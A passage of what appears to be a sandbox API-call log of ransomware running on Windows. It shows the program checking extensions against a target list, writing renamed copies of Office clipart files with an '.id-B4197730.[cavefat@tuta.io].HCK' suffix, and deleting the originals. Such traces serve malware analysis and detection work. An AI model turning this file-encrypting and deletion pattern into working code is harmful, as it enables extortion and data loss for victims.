Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.953] lstrlenW (lpString=".1cd") returned 4 [0171.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF") returned 68 [0171.953] lstrlenW (lpString=".jpg") returned 4 [0171.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.953] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0171.953] lstrlenW (lpString="J0287644.JPG") returned 12 [0171.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.957] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17349) returned 1 [0171.957] CloseHandle (hObject=0x3ac) returned 1 [0171.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg")) returned 0x220 [0171.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.967] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.967] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0171.974] GetLastError () returned 0x0 [0171.974] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x43c5, lpOverlapped=0x0) returned 1 [0171.976] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x43d0, lpOverlapped=0x0) returned 1 [0171.977] ReadFile (in: hFile=0x3ac, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.977] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.977] SetEndOfFile (hFile=0x38c) returned 1 [0171.979] CloseHandle (hObject=0x38c) returned 1 [0171.980] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.980] SetEndOfFile (hFile=0x3ac) returned 1 [0171.985] CloseHandle (hObject=0x3ac) returned 1 [0171.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg")) returned 1 [0171.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.993] lstrlenW (lpString=".doc") returned 4 [0171.993] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0171.993] lstrlenW (lpString=".docx") returned 5 [0171.993] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0171.993] lstrlenW (lpString=".pdf") returned 4 [0171.993] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0171.993] lstrlenW (lpString=".xls") returned 4 [0171.993] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0171.993] lstrlenW (lpString=".xlsx") returned 5 [0171.993] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0171.993] lstrlenW (lpString=".ppt") returned 4 [0171.993] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0171.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.993] lstrlenW (lpString=".zip") returned 4 [0171.993] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0171.993] lstrlenW (lpString=".rar") returned 4 [0171.993] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0171.993] lstrlenW (lpString=".bz2") returned 4 [0171.993] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0171.993] lstrlenW (lpString=".7z") returned 3 [0171.993] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0171.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.993] lstrlenW (lpString=".dbf") returned 4 [0171.993] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0171.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.994] lstrlenW (lpString=".1cd") returned 4 [0171.994] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0171.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.994] lstrlenW (lpString=".jpg") returned 4 [0171.994] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0171.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.994] lstrlenW (lpString=".doc") returned 4 [0171.994] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0171.994] lstrlenW (lpString=".docx") returned 5 [0171.994] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0171.994] lstrlenW (lpString=".pdf") returned 4 [0171.994] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0171.994] lstrlenW (lpString=".xls") returned 4 [0171.994] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0171.994] lstrlenW (lpString=".xlsx") returned 5 [0171.994] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0171.994] lstrlenW (lpString=".ppt") returned 4 [0171.994] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0171.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.994] lstrlenW (lpString=".zip") returned 4 [0171.994] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0171.994] lstrlenW (lpString=".rar") returned 4 [0171.994] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0171.994] lstrlenW (lpString=".bz2") returned 4 [0171.994] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0171.994] lstrlenW (lpString=".7z") returned 3 [0171.994] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0171.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.994] lstrlenW (lpString=".dbf") returned 4 [0171.994] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0171.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.994] lstrlenW (lpString=".1cd") returned 4 [0171.994] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0171.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG") returned 68 [0171.994] lstrlenW (lpString=".jpg") returned 4 [0171.994] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0171.994] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.994] lstrlenW (lpString="J0291794.WMF") returned 12 [0171.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0171.999] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9616) returned 1 [0171.999] CloseHandle (hObject=0x368) returned 1 [0171.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf")) returned 0x220 [0172.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.004] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.005] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0172.009] GetLastError () returned 0x0 [0172.009] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2590, lpOverlapped=0x0) returned 1 [0172.011] WriteFile (in: hFile=0x37c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x25a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x25a0, lpOverlapped=0x0) returned 1 [0172.011] ReadFile (in: hFile=0x384, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.011] WriteFile (in: hFile=0x37c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.012] SetEndOfFile (hFile=0x37c) returned 1 [0172.013] CloseHandle (hObject=0x37c) returned 1 [0172.014] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.014] SetEndOfFile (hFile=0x384) returned 1 [0172.016] CloseHandle (hObject=0x384) returned 1 [0172.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0291794.wmf")) returned 1 [0172.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.022] lstrlenW (lpString=".doc") returned 4 [0172.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.022] lstrlenW (lpString=".docx") returned 5 [0172.022] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.022] lstrlenW (lpString=".pdf") returned 4 [0172.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.022] lstrlenW (lpString=".xls") returned 4 [0172.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.023] lstrlenW (lpString=".xlsx") returned 5 [0172.023] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.023] lstrlenW (lpString=".ppt") returned 4 [0172.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.023] lstrlenW (lpString=".zip") returned 4 [0172.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.023] lstrlenW (lpString=".rar") returned 4 [0172.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.023] lstrlenW (lpString=".bz2") returned 4 [0172.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.023] lstrlenW (lpString=".7z") returned 3 [0172.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.023] lstrlenW (lpString=".dbf") returned 4 [0172.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.023] lstrlenW (lpString=".1cd") returned 4 [0172.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.023] lstrlenW (lpString=".jpg") returned 4 [0172.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.023] lstrlenW (lpString=".doc") returned 4 [0172.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.023] lstrlenW (lpString=".docx") returned 5 [0172.023] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.023] lstrlenW (lpString=".pdf") returned 4 [0172.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.023] lstrlenW (lpString=".xls") returned 4 [0172.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.023] lstrlenW (lpString=".xlsx") returned 5 [0172.023] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.023] lstrlenW (lpString=".ppt") returned 4 [0172.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.023] lstrlenW (lpString=".zip") returned 4 [0172.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.023] lstrlenW (lpString=".rar") returned 4 [0172.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.023] lstrlenW (lpString=".bz2") returned 4 [0172.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.024] lstrlenW (lpString=".7z") returned 3 [0172.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.024] lstrlenW (lpString=".dbf") returned 4 [0172.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.024] lstrlenW (lpString=".1cd") returned 4 [0172.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0291794.WMF") returned 68 [0172.024] lstrlenW (lpString=".jpg") returned 4 [0172.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.024] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.024] lstrlenW (lpString="J0292278.WMF") returned 12 [0172.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.027] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=13912) returned 1 [0172.027] CloseHandle (hObject=0x38c) returned 1 [0172.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf")) returned 0x220 [0172.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.032] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.032] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.036] GetLastError () returned 0x0 [0172.036] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3658, lpOverlapped=0x0) returned 1 [0172.038] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3660, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3660, lpOverlapped=0x0) returned 1 [0172.039] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.039] WriteFile (in: hFile=0x38c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.039] SetEndOfFile (hFile=0x38c) returned 1 [0172.041] CloseHandle (hObject=0x38c) returned 1 [0172.043] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.043] SetEndOfFile (hFile=0x39c) returned 1 [0172.045] CloseHandle (hObject=0x39c) returned 1 [0172.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292278.wmf")) returned 1 [0172.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.048] lstrlenW (lpString=".doc") returned 4 [0172.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.048] lstrlenW (lpString=".docx") returned 5 [0172.048] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.048] lstrlenW (lpString=".pdf") returned 4 [0172.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.048] lstrlenW (lpString=".xls") returned 4 [0172.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.048] lstrlenW (lpString=".xlsx") returned 5 [0172.048] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.048] lstrlenW (lpString=".ppt") returned 4 [0172.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.048] lstrlenW (lpString=".zip") returned 4 [0172.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.048] lstrlenW (lpString=".rar") returned 4 [0172.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.048] lstrlenW (lpString=".bz2") returned 4 [0172.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.048] lstrlenW (lpString=".7z") returned 3 [0172.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.048] lstrlenW (lpString=".dbf") returned 4 [0172.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.048] lstrlenW (lpString=".1cd") returned 4 [0172.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.049] lstrlenW (lpString=".jpg") returned 4 [0172.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.049] lstrlenW (lpString=".doc") returned 4 [0172.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.049] lstrlenW (lpString=".docx") returned 5 [0172.049] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.049] lstrlenW (lpString=".pdf") returned 4 [0172.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.049] lstrlenW (lpString=".xls") returned 4 [0172.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.049] lstrlenW (lpString=".xlsx") returned 5 [0172.049] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.049] lstrlenW (lpString=".ppt") returned 4 [0172.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.049] lstrlenW (lpString=".zip") returned 4 [0172.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.049] lstrlenW (lpString=".rar") returned 4 [0172.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.049] lstrlenW (lpString=".bz2") returned 4 [0172.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.049] lstrlenW (lpString=".7z") returned 3 [0172.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.049] lstrlenW (lpString=".dbf") returned 4 [0172.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.049] lstrlenW (lpString=".1cd") returned 4 [0172.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292278.WMF") returned 68 [0172.049] lstrlenW (lpString=".jpg") returned 4 [0172.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.049] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.049] lstrlenW (lpString="J0293832.WMF") returned 12 [0172.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 